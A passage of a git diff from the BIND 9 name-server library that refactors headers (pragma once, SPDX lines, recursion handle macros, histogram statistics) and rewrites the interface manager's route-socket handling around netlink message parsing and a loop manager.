+	((client)->query.recursions[RECTYPE_RPZ].handle)
+#define HANDLE_RECTYPE_STALE_REFRESH(client) \
+	((client)->query.recursions[RECTYPE_STALE_REFRESH].handle)
+#define HANDLE_RECTYPE_HOOK(client) \
+	((client)->query.recursions[RECTYPE_HOOK].handle)
+
+/*%
+ * Helper macros for accessing dns_fetch_t pointers for a specific recursion a
+ * given client is associated with.
+ */
+#define FETCH_RECTYPE_NORMAL(client) \
+	((client)->query.recursions[RECTYPE_NORMAL].fetch)
+#define FETCH_RECTYPE_PREFETCH(client) \
+	((client)->query.recursions[RECTYPE_PREFETCH].fetch)
+#define FETCH_RECTYPE_RPZ(client) \
+	((client)->query.recursions[RECTYPE_RPZ].fetch)
+#define FETCH_RECTYPE_STALE_REFRESH(client) \
+	((client)->query.recursions[RECTYPE_STALE_REFRESH].fetch)
+#define FETCH_RECTYPE_HOOK(client) \
+	((client)->query.recursions[RECTYPE_HOOK].fetch)
+
 /*%
  * nameserver recursion parameters, to uniquely identify a recursion
  * query; this is used to detect a recursion loop
  */
 typedef struct ns_query_recparam {
 	dns_rdatatype_t qtype;
-	dns_name_t *	qname;
+	dns_name_t     *qname;
 	dns_fixedname_t fqname;
-	dns_name_t *	qdomain;
+	dns_name_t     *qdomain;
 	dns_fixedname_t fqdomain;
 } ns_query_recparam_t;
 
@@ -54,37 +97,35 @@ struct ns_query {
 	unsigned int	 attributes;
 	unsigned int	 restarts;
 	bool		 timerset;
-	dns_name_t *	 qname;
-	dns_name_t *	 origqname;
+	dns_name_t	*qname;
+	dns_name_t	*origqname;
 	dns_rdatatype_t	 qtype;
 	unsigned int	 dboptions;
 	unsigned int	 fetchoptions;
-	dns_db_t *	 gluedb;
-	dns_db_t *	 authdb;
-	dns_zone_t *	 authzone;
+	dns_db_t	*gluedb;
+	dns_db_t	*authdb;
+	dns_zone_t	*authzone;
 	bool		 authdbset;
 	bool		 isreferral;
 	isc_mutex_t	 fetchlock;
-	dns_fetch_t *	 fetch;
-	dns_fetch_t *	 prefetch;
-	ns_hookasync_t * hookactx;
-	dns_rpz_st_t *	 rpz_st;
+	ns_hookasync_t	*hookactx;
+	dns_rpz_st_t	*rpz_st;
 	isc_bufferlist_t namebufs;
 	ISC_LIST(ns_dbversion_t) activeversions;
 	ISC_LIST(ns_dbversion_t) freeversions;
 	dns_rdataset_t *dns64_aaaa;
 	dns_rdataset_t *dns64_sigaaaa;
-	bool *		dns64_aaaaok;
+	bool	       *dns64_aaaaok;
 	unsigned int	dns64_aaaaoklen;
 	unsigned int	dns64_options;
 	unsigned int	dns64_ttl;
 
 	struct {
-		dns_db_t *	db;
-		dns_zone_t *	zone;
-		dns_dbnode_t *	node;
+		dns_db_t       *db;
+		dns_zone_t     *zone;
+		dns_dbnode_t   *node;
 		dns_rdatatype_t qtype;
-		dns_name_t *	fname;
+		dns_name_t     *fname;
 		dns_fixedname_t fixed;
 		isc_result_t	result;
 		dns_rdataset_t *rdataset;
@@ -93,6 +134,11 @@ struct ns_query {
 		bool		is_zone;
 	} redirect;
 
+	struct {
+		isc_nmhandle_t *handle;
+		dns_fetch_t    *fetch;
+	} recursions[RECTYPE_COUNT];
+
 	ns_query_recparam_t recparam;
 
 	dns_keytag_t root_key_sentinel_keyid;
@@ -126,8 +172,8 @@ typedef struct query_ctx query_ctx_t;
 /* query context structure */
 struct query_ctx {
 	isc_buffer_t *dbuf;	     /* name buffer */
-	dns_name_t *  fname;	     /* found name from DB lookup */
-	dns_name_t *  tname;	     /* temporary name, used
+	dns_name_t   *fname;	     /* found name from DB lookup */
+	dns_name_t   *tname;	     /* temporary name, used
 				      * when processing ANY
 				      * queries */
 	dns_rdataset_t *rdataset;    /* found rdataset */
@@ -147,6 +193,7 @@ struct query_ctx {
 	bool authoritative;		    /* authoritative query? */
 	bool want_restart;		    /* CNAME chain or other
 					     * restart needed */
+	bool		refresh_rrset;	    /* stale RRset refresh needed */
 	bool		need_wildcardproof; /* wildcard proof needed */
 	bool		nxrewrite;	    /* negative answer from RPZ */
 	bool		findcoveringnsec;   /* lookup covering NSEC */
@@ -157,21 +204,21 @@ struct query_ctx {
 	ns_client_t *client;	    /* client object */
 	bool	     detach_client; /* client needs detaching */
 
-	dns_fetchevent_t *event; /* recursion event */
+	dns_fetchresponse_t *fresp; /* recursion response */
 
-	dns_db_t *	 db;	  /* zone or cache database */
+	dns_db_t	*db;	  /* zone or cache database */
 	dns_dbversion_t *version; /* DB version */
-	dns_dbnode_t *	 node;	  /* DB node */
+	dns_dbnode_t	*node;	  /* DB node */
 
-	dns_db_t *	 zdb;	 /* zone DB values, saved */
-	dns_dbnode_t *	 znode;	 /* while searching cache */
-	dns_name_t *	 zfname; /* for a better answer */
+	dns_db_t	*zdb;	 /* zone DB values, saved */
+	dns_dbnode_t	*znode;	 /* while searching cache */
+	dns_name_t	*zfname; /* for a better answer */
 	dns_dbversion_t *zversion;
-	dns_rdataset_t * zrdataset;
-	dns_rdataset_t * zsigrdataset;
+	dns_rdataset_t	*zrdataset;
+	dns_rdataset_t	*zsigrdataset;
 
 	dns_rpz_st_t *rpz_st; /* RPZ state */
-	dns_zone_t *  zone;   /* zone to search */
+	dns_zone_t   *zone;   /* zone to search */
 
 	dns_view_t *view; /* client view */
 
@@ -179,9 +226,11 @@ struct query_ctx {
 	int	     line;   /* line to report error */
 };
 
-typedef isc_result_t (*ns_query_starthookasync_t)(
-	query_ctx_t *qctx, isc_mem_t *mctx, void *arg, isc_task_t *task,
-	isc_taskaction_t action, void *evarg, ns_hookasync_t **ctxp);
+typedef isc_result_t (*ns_query_starthookasync_t)(query_ctx_t *qctx,
+						  isc_mem_t *mctx, void *arg,
+						  isc_loop_t *loop,
+						  isc_job_cb cb, void *evarg,
+						  ns_hookasync_t **ctxp);
 
 /*
  * The following functions are expected to be used only within query.c
@@ -267,5 +316,3 @@ ns__query_start(query_ctx_t *qctx);
 /*%<
  * (Must not be used outside this module and its associated unit tests.)
  */
-
-#endif /* NS_QUERY_H */
diff --git a/lib/ns/include/ns/server.h b/lib/ns/include/ns/server.h
index 6af3436abc..84003bf57f 100644
--- a/lib/ns/include/ns/server.h
+++ b/lib/ns/include/ns/server.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_SERVER_H
-#define NS_SERVER_H 1
+#pragma once
 
 /*! \file */
 
@@ -18,6 +19,7 @@
 #include <stdbool.h>
 
 #include <isc/fuzz.h>
+#include <isc/histo.h>
 #include <isc/log.h>
 #include <isc/magic.h>
 #include <isc/quota.h>
@@ -28,23 +30,25 @@
 #include <dns/acl.h>
 #include <dns/types.h>
 
-#include <ns/events.h>
 #include <ns/types.h>
 
-#define NS_SERVER_LOGQUERIES   0x00000001U /*%< log queries */
-#define NS_SERVER_NOAA	       0x00000002U /*%< -T noaa */
-#define NS_SERVER_NOSOA	       0x00000004U /*%< -T nosoa */
-#define NS_SERVER_NONEAREST    0x00000008U /*%< -T nonearest */
-#define NS_SERVER_NOEDNS       0x00000020U /*%< -T noedns */
-#define NS_SERVER_DROPEDNS     0x00000040U /*%< -T dropedns */
-#define NS_SERVER_NOTCP	       0x00000080U /*%< -T notcp */
-#define NS_SERVER_DISABLE4     0x00000100U /*%< -6 */
-#define NS_SERVER_DISABLE6     0x00000200U /*%< -4 */
-#define NS_SERVER_FIXEDLOCAL   0x00000400U /*%< -T fixedlocal */
-#define NS_SERVER_SIGVALINSECS 0x00000800U /*%< -T sigvalinsecs */
-#define NS_SERVER_EDNSFORMERR  0x00001000U /*%< -T ednsformerr (STD13) */
-#define NS_SERVER_EDNSNOTIMP   0x00002000U /*%< -T ednsnotimp */
-#define NS_SERVER_EDNSREFUSED  0x00004000U /*%< -T ednsrefused */
+#define NS_SERVER_LOGQUERIES	 0x00000001U /*%< log queries */
+#define NS_SERVER_NOAA		 0x00000002U /*%< -T noaa */
+#define NS_SERVER_NOSOA		 0x00000004U /*%< -T nosoa */
+#define NS_SERVER_NONEAREST	 0x00000008U /*%< -T nonearest */
+#define NS_SERVER_NOEDNS	 0x00000020U /*%< -T noedns */
+#define NS_SERVER_DROPEDNS	 0x00000040U /*%< -T dropedns */
+#define NS_SERVER_NOTCP		 0x00000080U /*%< -T notcp */
+#define NS_SERVER_DISABLE4	 0x00000100U /*%< -6 */
+#define NS_SERVER_DISABLE6	 0x00000200U /*%< -4 */
+#define NS_SERVER_FIXEDLOCAL	 0x00000400U /*%< -T fixedlocal */
+#define NS_SERVER_SIGVALINSECS	 0x00000800U /*%< -T sigvalinsecs */
+#define NS_SERVER_EDNSFORMERR	 0x00001000U /*%< -T ednsformerr (STD13) */
+#define NS_SERVER_EDNSNOTIMP	 0x00002000U /*%< -T ednsnotimp */
+#define NS_SERVER_EDNSREFUSED	 0x00004000U /*%< -T ednsrefused */
+#define NS_SERVER_TRANSFERINSECS 0x00008000U /*%< -T transferinsecs */
+#define NS_SERVER_TRANSFERSLOWLY 0x00010000U /*%< -T transferslowly */
+#define NS_SERVER_TRANSFERSTUCK	 0x00020000U /*%< -T transferstuck */
 
 /*%
  * Type for callback function to get hostname.
@@ -69,7 +73,7 @@ typedef isc_result_t (*ns_matchview_t)(
  */
 struct ns_server {
 	unsigned int magic;
-	isc_mem_t *  mctx;
+	isc_mem_t   *mctx;
 
 	isc_refcount_t references;
 
@@ -83,20 +87,22 @@ struct ns_server {
 	isc_quota_t recursionquota;
 	isc_quota_t tcpquota;
 	isc_quota_t xfroutquota;
+	isc_quota_t updquota;
+	ISC_LIST(isc_quota_t) http_quotas;
+	isc_mutex_t http_quotas_lock;
 
 	/*% Test options and other configurables */
 	uint32_t options;
 
-	dns_acl_t *    blackholeacl;
-	dns_acl_t *    keepresporder;
+	dns_acl_t     *blackholeacl;
 	uint16_t       udpsize;
 	uint16_t       transfer_tcp_message_size;
 	bool	       interface_auto;
 	dns_tkeyctx_t *tkeyctx;
 
 	/*% Server id for NSID */
-	char *		server_id;
-	ns_hostnamecb_t gethostname;
+	char *server_id;
+	bool  usehostname;
 
 	/*% Fuzzer callback */
 	isc_fuzztype_t fuzztype;
@@ -106,20 +112,20 @@ struct ns_server {
 	ns_matchview_t matchingview;
 
 	/*% Stats counters */
-	ns_stats_t * nsstats;
+	ns_stats_t  *nsstats;
 	dns_stats_t *rcvquerystats;
 	dns_stats_t *opcodestats;
 	dns_stats_t *rcodestats;
 
-	isc_stats_t *udpinstats4;
-	isc_stats_t *udpoutstats4;
-	isc_stats_t *udpinstats6;
-	isc_stats_t *udpoutstats6;
+	isc_histomulti_t *udpinstats4;
+	isc_histomulti_t *udpoutstats4;
+	isc_histomulti_t *udpinstats6;
+	isc_histomulti_t *udpoutstats6;
 
-	isc_stats_t *tcpinstats4;
-	isc_stats_t *tcpoutstats4;
-	isc_stats_t *tcpinstats6;
-	isc_stats_t *tcpoutstats6;
+	isc_histomulti_t *tcpinstats4;
+	isc_histomulti_t *tcpoutstats4;
+	isc_histomulti_t *tcpinstats6;
+	isc_histomulti_t *tcpoutstats6;
 };
 
 struct ns_altsecret {
@@ -127,7 +133,7 @@ struct ns_altsecret {
 	unsigned char secret[32];
 };
 
-isc_result_t
+void
 ns_server_create(isc_mem_t *mctx, ns_matchview_t matchingview,
 		 ns_server_t **sctxp);
 /*%<
@@ -182,4 +188,13 @@ ns_server_getoption(ns_server_t *sctx, unsigned int option);
  * Requires:
  *\li	'sctx' is valid.
  */
-#endif /* NS_SERVER_H */
+
+void
+ns_server_append_http_quota(ns_server_t *sctx, isc_quota_t *http_quota);
+/*%<
+ *	Add a quota to the list of HTTP quotas to destroy it safely later.
+ *
+ * Requires:
+ *\li	'sctx' is valid;
+ *\li	'http_quota' is not 'NULL'.
+ */
diff --git a/lib/ns/include/ns/sortlist.h b/lib/ns/include/ns/sortlist.h
index ca4302f671..baac9fd16a 100644
--- a/lib/ns/include/ns/sortlist.h
+++ b/lib/ns/include/ns/sortlist.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_SORTLIST_H
-#define NS_SORTLIST_H 1
+#pragma once
 
 /*! \file */
 
@@ -23,7 +24,7 @@
  * Type for callback functions that rank addresses.
  */
 typedef int (*dns_addressorderfunc_t)(const isc_netaddr_t *address,
-				      const void *	   arg);
+				      const void	  *arg);
 
 /*%
  * Return value type for setup_sortlist.
@@ -36,7 +37,7 @@ typedef enum {
 
 ns_sortlisttype_t
 ns_sortlist_setup(dns_acl_t *acl, dns_aclenv_t *env, isc_netaddr_t *clientaddr,
-		  const void **argp);
+		  void **argp);
 /*%<
  * Find the sortlist statement in 'acl' (for ACL environment 'env')
  * that applies to 'clientaddr', if any.
@@ -65,17 +66,3 @@ ns_sortlist_addrorder2(const isc_netaddr_t *addr, const void *arg);
  * ACL forming the second element in a 2-element top-level
  * sortlist statement.
  */
-
-void
-ns_sortlist_byaddrsetup(dns_acl_t *sortlist_acl, dns_aclenv_t *env,
-			isc_netaddr_t *		client_addr,
-			dns_addressorderfunc_t *orderp, const void **argp);
-/*%<
- * Find the sortlist statement in 'acl' that applies to 'clientaddr', if any.
- * If a sortlist statement applies, return in '*orderp' a pointer to a function
- * for ranking network addresses based on that sortlist statement, and in
- * '*argp' an argument to pass to said function.  If no sortlist statement
- * applies, set '*orderp' and '*argp' to NULL.
- */
-
-#endif /* NS_SORTLIST_H */
diff --git a/lib/ns/include/ns/stats.h b/lib/ns/include/ns/stats.h
index 3c0879927f..d7e79443cf 100644
--- a/lib/ns/include/ns/stats.h
+++ b/lib/ns/include/ns/stats.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,11 +11,13 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_STATS_H
-#define NS_STATS_H 1
+#pragma once
 
 /*! \file include/ns/stats.h */
 
+#include <isc/mem.h>
+#include <isc/stats.h>
+
 #include <ns/types.h>
 
 /*%
@@ -106,7 +110,9 @@ enum {
 
 	ns_statscounter_reclimitdropped = 66,
 
-	ns_statscounter_max = 67,
+	ns_statscounter_updatequota = 67,
+
+	ns_statscounter_max = 68,
 };
 
 void
@@ -115,7 +121,7 @@ ns_stats_attach(ns_stats_t *stats, ns_stats_t **statsp);
 void
 ns_stats_detach(ns_stats_t **statsp);
 
-isc_result_t
+void
 ns_stats_create(isc_mem_t *mctx, int ncounters, ns_stats_t **statsp);
 
 void
@@ -133,5 +139,3 @@ ns_stats_update_if_greater(ns_stats_t *stats, isc_statscounter_t counter,
 
 isc_statscounter_t
 ns_stats_get_counter(ns_stats_t *stats, isc_statscounter_t counter);
-
-#endif /* NS_STATS_H */
diff --git a/lib/ns/include/ns/types.h b/lib/ns/include/ns/types.h
index f26d379a17..85205d7d30 100644
--- a/lib/ns/include/ns/types.h
+++ b/lib/ns/include/ns/types.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_TYPES_H
-#define NS_TYPES_H 1
+#pragma once
 
 /*! \file */
 
@@ -30,5 +31,3 @@ typedef struct ns_hookasync    ns_hookasync_t;
 typedef enum { ns_cookiealg_aes, ns_cookiealg_siphash24 } ns_cookiealg_t;
 
 #define NS_COOKIE_VERSION_1 1
-
-#endif /* NS_TYPES_H */
diff --git a/lib/ns/include/ns/update.h b/lib/ns/include/ns/update.h
index 6eeeaec9dd..fbabdf9e50 100644
--- a/lib/ns/include/ns/update.h
+++ b/lib/ns/include/ns/update.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_UPDATE_H
-#define NS_UPDATE_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -25,7 +26,8 @@
  *** Imports
  ***/
 
-#include <dns/result.h>
+#include <isc/result.h>
+
 #include <dns/types.h>
 
 /***
@@ -39,5 +41,3 @@
 void
 ns_update_start(ns_client_t *client, isc_nmhandle_t *handle,
 		isc_result_t sigresult);
-
-#endif /* NS_UPDATE_H */
diff --git a/lib/ns/include/ns/xfrout.h b/lib/ns/include/ns/xfrout.h
index 722cac21ef..d36060eb86 100644
--- a/lib/ns/include/ns/xfrout.h
+++ b/lib/ns/include/ns/xfrout.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_XFROUT_H
-#define NS_XFROUT_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -27,5 +28,3 @@
 
 void
 ns_xfr_start(ns_client_t *client, dns_rdatatype_t xfrtype);
-
-#endif /* NS_XFROUT_H */
diff --git a/lib/ns/interfacemgr.c b/lib/ns/interfacemgr.c
index 54e2ed7a69..08e70f022c 100644
--- a/lib/ns/interfacemgr.c
+++ b/lib/ns/interfacemgr.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,11 +16,12 @@
 #include <stdbool.h>
 
 #include <isc/interfaceiter.h>
+#include <isc/loop.h>
 #include <isc/netmgr.h>
 #include <isc/os.h>
 #include <isc/random.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/tid.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
@@ -33,31 +36,24 @@
 #ifdef HAVE_NET_ROUTE_H
 #include <net/route.h>
 #if defined(RTM_VERSION) && defined(RTM_NEWADDR) && defined(RTM_DELADDR)
-#define USE_ROUTE_SOCKET      1
-#define ROUTE_SOCKET_PROTOCOL PF_ROUTE
-#define MSGHDR		      rt_msghdr
-#define MSGTYPE		      rtm_type
+#define MSGHDR	rt_msghdr
+#define MSGTYPE rtm_type
 #endif /* if defined(RTM_VERSION) && defined(RTM_NEWADDR) && \
 	* defined(RTM_DELADDR) */
 #endif /* ifdef HAVE_NET_ROUTE_H */
 
 #if defined(HAVE_LINUX_NETLINK_H) && defined(HAVE_LINUX_RTNETLINK_H)
+#define LINUX_NETLINK_AVAILABLE
 #include <linux/netlink.h>
 #include <linux/rtnetlink.h>
 #if defined(RTM_NEWADDR) && defined(RTM_DELADDR)
-#define USE_ROUTE_SOCKET      1
-#define ROUTE_SOCKET_PROTOCOL PF_NETLINK
-#define MSGHDR		      nlmsghdr
-#define MSGTYPE		      nlmsg_type
+#define MSGHDR	nlmsghdr
+#define MSGTYPE nlmsg_type
 #endif /* if defined(RTM_NEWADDR) && defined(RTM_DELADDR) */
 #endif /* if defined(HAVE_LINUX_NETLINK_H) && defined(HAVE_LINUX_RTNETLINK_H) \
 	*/
 
-#ifdef TUNE_LARGE
-#define UDPBUFFERS 32768
-#else /* ifdef TUNE_LARGE */
-#define UDPBUFFERS 1000
-#endif /* TUNE_LARGE */
+#define LISTENING(ifp) (((ifp)->flags & NS_INTERFACEFLAG_LISTENING) != 0)
 
 #define IFMGR_MAGIC		 ISC_MAGIC('I', 'F', 'M', 'G')
 #define NS_INTERFACEMGR_VALID(t) ISC_MAGIC_VALID(t, IFMGR_MAGIC)
@@ -70,14 +66,11 @@ struct ns_interfacemgr {
 	unsigned int magic; /*%< Magic number */
 	isc_refcount_t references;
 	isc_mutex_t lock;
-	isc_mem_t *mctx;	    /*%< Memory context */
-	ns_server_t *sctx;	    /*%< Server context */
-	isc_taskmgr_t *taskmgr;	    /*%< Task manager */
-	isc_task_t *excl;	    /*%< Exclusive task */
-	isc_timermgr_t *timermgr;   /*%< Timer manager */
-	isc_socketmgr_t *socketmgr; /*%< Socket manager */
-	isc_nm_t *nm;		    /*%< Net manager */
-	int ncpus;		    /*%< Number of workers */
+	isc_mem_t *mctx;	/*%< Memory context */
+	ns_server_t *sctx;	/*%< Server context */
+	isc_loopmgr_t *loopmgr; /*%< Loop manager */
+	isc_nm_t *nm;		/*%< Net manager */
+	uint32_t ncpus;		/*%< Number of workers */
 	dns_dispatchmgr_t *dispatchmgr;
 	unsigned int generation; /*%< Current generation no */
 	ns_listenlist_t *listenon4;
@@ -86,14 +79,9 @@ struct ns_interfacemgr {
 	ISC_LIST(ns_interface_t) interfaces; /*%< List of interfaces */
 	ISC_LIST(isc_sockaddr_t) listenon;
 	int backlog;		     /*%< Listen queue size */
-	unsigned int udpdisp;	     /*%< UDP dispatch count */
 	atomic_bool shuttingdown;    /*%< Interfacemgr shutting down */
 	ns_clientmgr_t **clientmgrs; /*%< Client managers */
-#ifdef USE_ROUTE_SOCKET
-	isc_task_t *task;
-	isc_socket_t *route;
-	unsigned char buf[2048];
-#endif /* ifdef USE_ROUTE_SOCKET */
+	isc_nmhandle_t *route;
 };
 
 static void
@@ -102,35 +90,142 @@ purge_old_interfaces(ns_interfacemgr_t *mgr);
 static void
 clearlistenon(ns_interfacemgr_t *mgr);
 
-#ifdef USE_ROUTE_SOCKET
+static bool
+need_rescan(ns_interfacemgr_t *mgr, struct MSGHDR *rtm, size_t len) {
+	if (rtm->MSGTYPE != RTM_NEWADDR && rtm->MSGTYPE != RTM_DELADDR) {
+		return (false);
+	}
+
+#ifndef LINUX_NETLINK_AVAILABLE
+	UNUSED(mgr);
+	UNUSED(len);
+	/* On most systems, any NEWADDR or DELADDR means we rescan */
+	return (true);
+#else  /* LINUX_NETLINK_AVAILABLE */
+	/* ...but on linux we need to check the messages more carefully */
+	for (struct MSGHDR *nlh = rtm;
+	     NLMSG_OK(nlh, len) && nlh->nlmsg_type != NLMSG_DONE;
+	     nlh = NLMSG_NEXT(nlh, len))
+	{
+		struct ifaddrmsg *ifa = (struct ifaddrmsg *)NLMSG_DATA(nlh);
+		struct rtattr *rth = IFA_RTA(ifa);
+		size_t rtl = IFA_PAYLOAD(nlh);
+
+		while (rtl > 0 && RTA_OK(rth, rtl)) {
+			/*
+			 * Look for IFA_ADDRESS to detect IPv6 interface
+			 * state changes.
+			 */
+			if (rth->rta_type == IFA_ADDRESS &&
+			    ifa->ifa_family == AF_INET6)
+			{
+				bool existed = false;
+				bool was_listening = false;
+				isc_netaddr_t addr = { 0 };
+				ns_interface_t *ifp = NULL;
+
+				isc_netaddr_fromin6(&addr, RTA_DATA(rth));
+				INSIST(isc_netaddr_getzone(&addr) == 0);
+
+				/*
+				 * Check whether we were listening on the
+				 * address. We need to do this as the
+				 * Linux kernel seems to issue messages
+				 * containing IFA_ADDRESS far more often
+				 * than the actual state changes (on
+				 * router advertisements?)
+				 */
+				LOCK(&mgr->lock);
+				for (ifp = ISC_LIST_HEAD(mgr->interfaces);
+				     ifp != NULL;
+				     ifp = ISC_LIST_NEXT(ifp, link))
+				{
+					isc_netaddr_t tmp = { 0 };
+					isc_netaddr_fromsockaddr(&tmp,
+								 &ifp->addr);
+					if (tmp.family != AF_INET6) {
+						continue;
+					}
+
+					/*
+					 * We have to nullify the zone (IPv6
+					 * scope ID) because we haven't got one
+					 * from the kernel. Otherwise match
+					 * could fail even for an existing
+					 * address.
+					 */
+					isc_netaddr_setzone(&tmp, 0);
+					if (isc_netaddr_equal(&tmp, &addr)) {
+						was_listening = LISTENING(ifp);
+						existed = true;
+						break;
+					}
+				}
+				UNLOCK(&mgr->lock);
+
+				/*
+				 * Do rescan if the state of the interface
+				 * has changed.
+				 */
+				if ((!existed && rtm->MSGTYPE == RTM_NEWADDR) ||
+				    (existed && was_listening &&
+				     rtm->MSGTYPE == RTM_DELADDR))
+				{
+					return (true);
+				}
+			} else if (rth->rta_type == IFA_ADDRESS &&
+				   ifa->ifa_family == AF_INET)
+			{
+				/*
+				 * It seems that the IPv4 P2P link state
+				 * has changed.
+				 */
+				return (true);
+			} else if (rth->rta_type == IFA_LOCAL) {
+				/*
+				 * Local address state has changed - do
+				 * rescan.
+				 */
+				return (true);
+			}
+			rth = RTA_NEXT(rth, rtl);
+		}
+	}
+#endif /* LINUX_NETLINK_AVAILABLE */
+
+	return (false);
+}
+
 static void
-route_event(isc_task_t *task, isc_event_t *event) {
-	isc_socketevent_t *sevent = NULL;
-	ns_interfacemgr_t *mgr = NULL;
-	isc_region_t r;
-	isc_result_t result;
-	struct MSGHDR *rtm;
-	bool done = true;
+route_recv(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	   void *arg) {
+	ns_interfacemgr_t *mgr = (ns_interfacemgr_t *)arg;
+	struct MSGHDR *rtm = NULL;
+	size_t rtmlen;
 
-	UNUSED(task);
+	isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_DEBUG(9), "route_recv: %s",
+		      isc_result_totext(eresult));
 
-	REQUIRE(event->ev_type == ISC_SOCKEVENT_RECVDONE);
-	mgr = event->ev_arg;
-	sevent = (isc_socketevent_t *)event;
+	if (handle == NULL) {
+		return;
+	}
 
-	if (sevent->result != ISC_R_SUCCESS) {
-		if (sevent->result != ISC_R_CANCELED) {
+	if (eresult != ISC_R_SUCCESS) {
+		if (eresult != ISC_R_CANCELED && eresult != ISC_R_SHUTTINGDOWN)
+		{
 			isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_ERROR,
 				      "automatic interface scanning "
 				      "terminated: %s",
-				      isc_result_totext(sevent->result));
+				      isc_result_totext(eresult));
 		}
+		isc_nmhandle_detach(&mgr->route);
 		ns_interfacemgr_detach(&mgr);
-		isc_event_free(&event);
 		return;
 	}
 
-	rtm = (struct MSGHDR *)mgr->buf;
+	rtm = (struct MSGHDR *)region->base;
+	rtmlen = region->length;
+
 #ifdef RTM_VERSION
 	if (rtm->rtm_version != RTM_VERSION) {
 		isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_ERROR,
@@ -138,90 +233,67 @@ route_event(isc_task_t *task, isc_event_t *event) {
 			      "rtm->rtm_version mismatch (%u != %u) "
 			      "recompile required",
 			      rtm->rtm_version, RTM_VERSION);
+		isc_nmhandle_detach(&mgr->route);
 		ns_interfacemgr_detach(&mgr);
-		isc_event_free(&event);
 		return;
 	}
 #endif /* ifdef RTM_VERSION */
 
-	switch (rtm->MSGTYPE) {
-	case RTM_NEWADDR:
-	case RTM_DELADDR:
-		if (mgr->route != NULL && mgr->sctx->interface_auto) {
-			ns_interfacemgr_scan(mgr, false);
-		}
-		break;
-	default:
-		break;
-	}
+	REQUIRE(mgr->route != NULL);
 
-	LOCK(&mgr->lock);
-	if (mgr->route != NULL) {
-		/*
-		 * Look for next route event.
-		 */
-		r.base = mgr->buf;
-		r.length = sizeof(mgr->buf);
-		result = isc_socket_recv(mgr->route, &r, 1, mgr->task,
-					 route_event, mgr);
-		if (result == ISC_R_SUCCESS) {
-			done = false;
-		}
+	if (need_rescan(mgr, rtm, rtmlen) && mgr->sctx->interface_auto) {
+		ns_interfacemgr_scan(mgr, false, false);
 	}
-	UNLOCK(&mgr->lock);
 
-	if (done) {
+	isc_nm_read(handle, route_recv, mgr);
+	return;
+}
+
+static void
+route_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
+	ns_interfacemgr_t *mgr = (ns_interfacemgr_t *)arg;
+
+	isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_DEBUG(9),
+		      "route_connected: %s", isc_result_totext(eresult));
+
+	if (eresult != ISC_R_SUCCESS) {
 		ns_interfacemgr_detach(&mgr);
+		return;
 	}
-	isc_event_free(&event);
-	return;
+
+	INSIST(mgr->route == NULL);
+
+	isc_nmhandle_attach(handle, &mgr->route);
+	isc_nm_read(handle, route_recv, mgr);
 }
-#endif /* ifdef USE_ROUTE_SOCKET */
 
 isc_result_t
 ns_interfacemgr_create(isc_mem_t *mctx, ns_server_t *sctx,
-		       isc_taskmgr_t *taskmgr, isc_timermgr_t *timermgr,
-		       isc_socketmgr_t *socketmgr, isc_nm_t *nm,
-		       dns_dispatchmgr_t *dispatchmgr, isc_task_t *task,
-		       unsigned int udpdisp, dns_geoip_databases_t *geoip,
-		       int ncpus, ns_interfacemgr_t **mgrp) {
